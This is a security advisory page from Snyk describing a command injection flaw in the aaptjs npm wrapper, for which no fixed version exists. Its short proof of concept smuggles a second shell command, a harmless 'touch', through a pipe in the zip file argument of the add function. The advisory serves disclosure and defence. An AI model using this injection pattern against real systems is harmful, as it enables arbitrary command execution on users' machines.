Command Injection Affecting aaptjs package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-AAPTJS-6038595
  • published 9 Sep 2024
  • disclosed 29 Oct 2023
  • credit Miguel Coimbra

Introduced: 29 Oct 2023

CVE NOT AVAILABLE CWE-78 Open this link in a new tab
First added by Snyk

How to fix?

There is no fixed version for aaptjs.

Overview

aaptjs is an A node wraper for aapt

Affected versions of this package are vulnerable to Command Injection due to improper input sanitization via the add function when using pipe (|) after the zip file value.

PoC

const pkg = require('aaptjs');

pkg.add('test0.zip | touch exploited.txt', ['aaptjs_poc-zip-cmd-inject.js']);

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.3 high
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High